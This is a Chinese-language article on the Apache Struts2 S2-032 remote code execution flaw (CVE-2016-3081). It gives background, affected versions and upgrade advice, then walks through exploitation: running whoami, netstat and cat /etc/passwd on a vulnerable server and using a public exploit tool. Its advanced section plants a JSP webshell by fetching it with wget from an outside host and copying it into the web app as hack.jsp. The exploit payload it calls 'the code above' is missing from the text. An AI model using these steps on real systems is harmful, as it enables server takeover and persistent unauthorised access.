Struts2遠程代碼執行漏洞s2-032分析及其利用
原創Struts2遠程代碼執行漏洞(s2-032)引發了無數大型系統的“血案”,很多從事開發和安全維護的朋友,在4月26日基本是無眠之夜,在撰寫本文時,在烏云和360補天平臺上鋪天蓋地的s2-032遠程執行漏洞,航空、銀行、學校和政府成為本次漏洞的重災區,s2-032遠程代碼執行漏洞危害大,本文對s2-032漏洞進行介紹,并對如何利用等進行詳細介紹。
1.Struts簡介
Struts是Apache基金會Jakarta項目組的一個開源項目,Struts通過采用Java Servlet/JSP技術,實現了基于Java EE Web應用的Model-View-Controller(MVC)設計模式的應用框架,是MVC經典設計模式中的一個經典產品。目前,Struts框架廣泛應用于政府、公安、交通、金融行業和運營商的網站建設,作為網站開發的底層模板使用,是應用最廣泛的Web應用框架之一。
Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合并的全新的Struts 2框架。其全新的Struts 2的體系結構與Struts 1的體系結構差別巨大,其在Action的實現方面線程模型方面、Servlet依賴方面、封裝請求參數、表達式語言方面、綁定值到視圖技術、類型轉換、Action執行控制的對比、攔截器的應用等方面較Struts1進行了較大改進。Struts 2以WebWork為核心,采用攔截器的機制來處理用戶的請求,這樣的設計也使得業務邏輯控制器能夠與 ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產品。雖然從Struts 1到Struts 2有著太大的變化,但是相對于WebWork,Struts 2的變化很小。
2. s2-032漏洞簡介
4月15號安恒安全研究院在Struts 2上發現了一個嚴重的遠程代碼執行漏洞(CVE-2016-3081)(http://seclab.dbappsecurity.com.cn/?p=924),也即Struts 2的s2-032漏洞,4月26日,互聯網上披露了Apache Struts 2 S2-032遠程代碼執行漏洞的利用代碼,經測試,遠程攻擊者利用漏洞可在開啟動態方法調用功能的Apache Struts 2服務器上執行任意代碼,取得網站服務器控制權。
(1)調用方法
Struts2是第二代基于Model-View-Controller (MVC)模型的java企業級web應用框架,并成為當時國內外較為流行的容器軟件中間件。Struts 2的核心jar包-struts2-core中,存在一個default.properties的默認配置文件用于配置全局信息,當struts.enable.DynamicMethodInvocation = true,即開啟動態方法調用。盡管在Struts2目前的安全策略中,對部分動態調用方法進行了特殊字符傳遞的限制,但在該漏洞中攻擊者仍能通過通過OGNL表達式靜態調用獲取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS屬性并覆蓋_memberAccess的方式進行繞過,進而可在受控制的服務器端執行任意代碼。
(2)漏洞影響范圍
漏洞影響Struts 2.0.0 - 2.3.28 (除2.3.20.2和2.3.24.2以外)版本
(3)漏洞修復建議
Apache Struts官方已發布了升級程序修復該漏洞,建議用戶升級至struts 2.3.20.2,2.3.24.2,2.3.28.1版本。更新地址:https://cwiki.apache.org/confluence/display/WW/Migration+Guide。未能及時升級的用戶也可通過如下參數設置關閉動態方法調用功能來規避該漏洞的攻擊威脅
3.漏洞測試樣例
(1)測試當前用戶
將以上代碼復制到瀏覽器執行成功后會下載相應的action文件,如圖1所示,本例中為login.action,則將該文件保存在本地后,使用notepad打開后可以看到第一行文件為root,表示當前用戶為root,如圖2所示,還可以將其命令更換為id等其它命令。
圖1存在漏洞下載文件
圖2查看漏洞執行結果
(2)快速顯示漏洞
將command后的值設置為“netstat-an”或者“cat /etc/passwd”比較容易查看結果,如果存在結果,如圖3,圖4所示,則表明系統存在漏洞。如果是Windows則whoami會顯示為“nt authority\system”,其它多為root或者jboss。
圖3 執行netstat命令
圖4執行查看passwd文件命令
4.網上公開檢測地址
在線檢測s2-032的工具:
(1)http://0day.websaas.cn/
(2)https://www.seebug.org/monster/
將網站地址輸入檢測網站即可,如果存在漏洞會進行提示,如圖5所示。
圖5在線檢測
5.網上公開的s2-032漏洞綜合利用工具
以K8為代表的安全愛好團隊已經公開s2-032漏洞的綜合利用工具,運行后將網站地址復制到目標中即可,注意必須要帶http或者https,如圖6所示,可以獲取目標信息、執行命令和文件上傳等功能。
圖6網上公開漏洞利用工具
6. s2-032漏洞的高級利用方法
發現s2-032漏洞后,可以利用K8 Struts2 Exploit利用工具,上傳Jsp小馬,例如可以執行Linux命令的小馬,然后在服務器上放置一個大的Jsp馬,通過wget命令下載到本地,將其復制到相應位置即可執行。
wget http://www.antian365.com/jsp.txt
cp /opt/apache-tomcat-7.0.64/bin/jsp.txt /opt/apache-tomcat-7.0.64/app/hack.jsp
http://www.somesite.com/hack.jsp
7.參考文章
http://baike.baidu.com/view/1566725.htm
http://seclab.dbappsecurity.com.cn/?p=924